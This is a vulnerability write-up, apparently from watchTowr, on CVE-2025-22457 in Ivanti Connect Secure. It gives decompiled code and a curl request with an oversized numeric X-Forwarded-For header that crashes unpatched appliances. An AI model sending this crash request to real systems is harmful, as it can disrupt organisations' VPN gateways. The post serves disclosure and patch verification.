Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)
What's that Skippy? Another Ivanti Connect Secure vulnerability?
At this point, regular readers will know all about Ivanti (and a handful of other vendors of the same class of devices), from our regular analysis.
Do you know the fun things about these posts? We can copy text from previous posts about SSLVPNs:
This must be the first time real-world attackers have reversed patches, and reproduced a vulnerability, before some dastardly researchers released a detection artefact generator tool of their own. /s
At watchTowr's core, we're all about identifying and validating ways into organisations - sometimes through vulnerabilities in network border appliances - without requiring such luxuries as credentials or asset lists.
While full exploitation is sometimes required to make our point - our clients rely on watchTowr technology to rapidly tell them, within hours, if they're affected with 100% precision. When you don't have the luxury of time that would allow us to create a stable, 100% reliable PoC - ultra-reliable detection of a vulnerable system is just as good.
For those just tuning in, though, Ivanti Connect Secure is a 'next generation firewall', designed to sit on the border of your secure network and the Big Bad Internet, and keep out all the malicious traffic while allowing your friendly employees remote access via a VPN solution.
Their website claims they are 'trusted by 35,000 customers worldwide', and this combination of proliferation and a privileged network position makes their devices very tempting to attackers - by design, the devices are Internet-facing, and if an attacker can seize control of one, they have by design access to an internal network.
With that recap, let's return to our new vulnerability.
Known as CVE-2025-22457, this vulnerability has history and baggage—apparently, according to Ivanti themselves, Ivanti misidentified the vulnerability as a low-priority error condition that couldn't lead to a real-world security impact.
Straight out of Anchorman itself:
"The vulnerability is a buffer overflow with characters limited to periods and numbers, it was evaluated and determined not to be exploitable as remote code execution and didn't meet the requirements of denial of service," Ivanti said on Thursday.
"However, Ivanti and our security partners have now learned the vulnerability is exploitable through sophisticated means and have identified evidence of active exploitation in the wild. We encourage all customers to ensure they are running Ivanti Connect Secure 22.7R2.6 as soon as possible, which remediates the vulnerability."
Yikes.
Having misclassified it as such, they rewrote the offending code - not a bad idea in itself! - and distributed the patch as part of their update to 22.7R2.6, along with a whole heap of other updates (such as enabling some exploit mitigations - more on this later). This was back in February 2025, so hopefully - ha ha - everyone applied that update in a timely manner.
Cue ideas for the next pledge
In a land far away, an APT group observed the updated code - and summoning the power of sophistication known only in a cave in a mountain, figured out a way to exploit the vulnerability.
Our friends at Mandiant report that the vulnerability has been actively exploited in the wild since mid-March - with attackers achieving RCE to deploy backdoors.
As always, information is scarce - the only technical information available about the vulnerability is via Ivanti's patch note, which states:
The vulnerability is a buffer overflow with characters limited to periods and numbers, it was evaluated and determined not to be exploitable as remote code execution and didn’t meet the requirements of denial of service. However, Ivanti and our security partners have now learned the vulnerability is exploitable through sophisticated means and have identified evidence of active exploitation in the wild. We encourage all customers to ensure they are running Ivanti Connect Secure 22.7R2.6 as soon as possible, which remediates the vulnerability.
This is why they initially deemed the vulnerability 'unexploitable' - the vulnerable buffer can be overflowed only with digits and a full stop (or a 'period', for our friends over the pond).
Things are getting strange, we're starting to worry - in-the-wild exploitation of a vulnerability that has very little technical information available is never particularly fun.
It's time for us to swoop in and reveal all the gory technical details. It's the watchTowr effect. (Say this along to the sound of The Final Countdown; it works—trust us. We'll be performing it at RSA.)
Before we do, to know if you need to worry or not - here's Ivanti's list of affected products:
We'll be working with Ivanti Connect Secure 22.7r2.5, and also testing against the patched version of the codebase, 22.7r2.6.
It's worth reiterating that patches have been available since February, so if you're up-to-date, you've got nothing to worry about (although you may have delayed patching under the belief that there were no world-ending CVSS-9 CVEs in there).
Ivanti categorises the vulnerability as a stack-based buffer overflow that enables RCE:
A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 allows a remote unauthenticated attacker to achieve remote code execution.
Patch-Diffing
As usual, we eagerly fetched patched (22.7R2.6) and vulnerable (22.7R2.5) versions of the appliance, extracted their contents, and set about them with our favorite tools—Beyond Compare, IDA Pro, and Diaphora.
Our spidey senses told us that the webserver, named simply web, was responsible, so we looked there first.
Unfortunately, though, rather than the nice clean diff we were hoping for, we were greeted by thousands upon thousands of changed functions.
It seems that in addition to fixing (a fair amount of) issues, Ivanti also took the opportunity to harden its codebase, enabling some previously disabled exploit mitigations.
In the wider sense, this is a good thing—we've been bemoaning the lack of basic exploit mitigations in this class of devices for a long time, so it's great to see vendors finally taking basic steps to toughen up their devices.
However, it makes our part in the game a little more complicated—the exploit mitigations they enabled caused changes to occur in many functions, making it harder to pick out which function(s) have been modified as part of the fix.
Nevertheless, we did the necessary legwork, and soon zeroed in on a function that seemed to be named WebRequest::dispatchRequest. This function seemed to have been completely rewritten and also seemed to bore simple spelling errors - two very strong indicators of poor code quality.
As you may recall, Ivanti advised that the vulnerability is a stack buffer overflow, but that the data that overwrites the buffer is restricted to the digits 0 through 9 and .. Our immediate thought was that perhaps this payload could come from a version string, but taking a look through the function that drew our attention, we can see a filter for exactly these functions:
headerValue = httpHeader->Value;
ipLen = strspn(headerValue, "01234567890.");
v58 = alloca(ipLen + 2);
*(_DWORD *)&v176[4] = headerValue;
strlcpy(&v178, *(_DWORD *)&v176[4], ipLen + 1);
strlcpy(s, headerValue, ipLen + 1);What's going on here?
We're first, getting some HTTP header, and then the router applies the strspn function.
This is 'string span' function, which will return the number of characters in the string that match the argument - in this case, the number of characters that are in the range 0 to 9 or ..
Then, it'll allocate a buffer, and perform some copying of the header payload (at some weird offset, it seems).
This is certainly some dodgy-looking code - obscure C functions and pointer manipulation often make for nice crashes.
We don't know, though, how to reach this function, although it's a fair guess that it handles HTTP requests of some form. For example, which header is the code processing at this point?
Well, directly above this snippet, we can see that it comes from another function:
char* headerNameToFind = sub_5D490();
headerNameInRequest = httpHeader->HeaderName;
if ( !strcasecmp(headerNameInRequest, headerNameToFind) )
{
...
Following the trail to sub_5D490 reveals a stub that takes a value from a global variable:
add ecx, (offset off_169000 - $)
mov eax, ds:(dword_16BEF0 - 169000h)[ecx]It turns out that global is set from the Ivanti's configuration.
res = DSUtilConfig::getConfigValue(var_818, "CUSTOM_IP_FIELD")
dword_16BEF0 = strdup(res)It looks like this functionality is intended to allow clients to specify their IP address via a custom, end-user-set HTTP header. That header is set to a default value during installation:
$ grep CUSTOM_IP_FIELD -ir .
./root/home/perl/DSDefaults.pm: DSUtilConfig::setConfigValue("CUSTOM_IP_FIELD", "X-Forwarded-For");Oh, that's simple - the header is simply X-Forwarded-For.
Let's go ahead and request a page from the appliance, supplying a large value for the X-Forwarded-For header. Surely nothing bad will happen, right? No-one makes vulnerabilities that simple.
Especially not vendors of hardened network border devices (cough, cough).
$ curl -v --insecure https://HOST --header X-Forwarded-For:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
* Trying HOST:443...
* Connected to HOST (HOST) port 443
* using HTTP/1.x
> GET / HTTP/1.1
> Host: HOST
> User-Agent: curl/8.10.1
> Accept: */*
> X-Forwarded-For:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
>
* Request completely sent off
* schannel: server closed abruptly (missing close_notify)
* closing connection #0
curl: (56) Failure when receiving data from the peer
That's weird. The appliance closed the connection without responding.
Let's examine the appliance's console and see if it gives us any clues.
Oh. That settles it, then. We've reproduced the overflow.
Exploitation
Exploitation is always a tricky subject. Vendors want to minimize disruption to their userbase and avoid unnecessary patching, but they also need to balance that with the userbase's safety.
In fairness - sometimes, if a vulnerability has real prerequisites, it's a judgment call on whether the vulnerability is exploitable or not.
It appears that this is what happened here - Ivanti made a judgment call, believing that exploiting the vulnerability, given the requirement that the payload must comprise only of 0123456789., was impossible.
Unfortunately, an advanced attacker seems to have proved them wrong.
This complexity is reflected in the vulnerability's CVSS rating: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H, where the AC:H specifies an Attack Complexity of High, due to the complexity of writing a successful exploit.
Given the situation, we've decided that the above 'segfault' PoC is enough for administrators to confirm that their devices have been patched—a vulnerable box will respond by closing the connection immediately, while a patched box will respond with an HTTP 400.
Summary
It's 'another day, another SSLVPN appliance vulnerability', but with a few extra additions.
Firstly, the fact that the vulnerability was miscategorized is interesting in itself. Those who are hunting such vulnerabilities are encouraged to make a habit of reading device patch-notes and correlating these with diff'ed patches, even in the case of large and unwieldy patchsets, like this one.
The fact that an attacker was sufficiently motivated to do this, even though almost all functions in the binary had changed, and was also able to determine that the vulnerability was exploitable, speaks volumes about how motivated modern SSLVPN appliance attackers are.
Secondly, the other thing that stands out about the exploit is the sheer simplicity of exploitation.
Let me show a faulting HTTP request again:
POST / HTTP/1.1
X-Forwarded-For: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111This is an incredibly simple request, and it is somewhat surprising that Ivanti didn't find the vulnerability during routine fuzz testing. One would imagine that even the most basic of HTTP fuzzers would trigger a crash.
The one 'silver lining' to this vulnerability is that patches have been available for some time and that most administrators will have updated their devices since February, as a matter of course.
While Ivanti's miscategorisation meant that administrators weren't advised to update with urgency - until now - many will have updated anyway.
At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.
With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.
If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.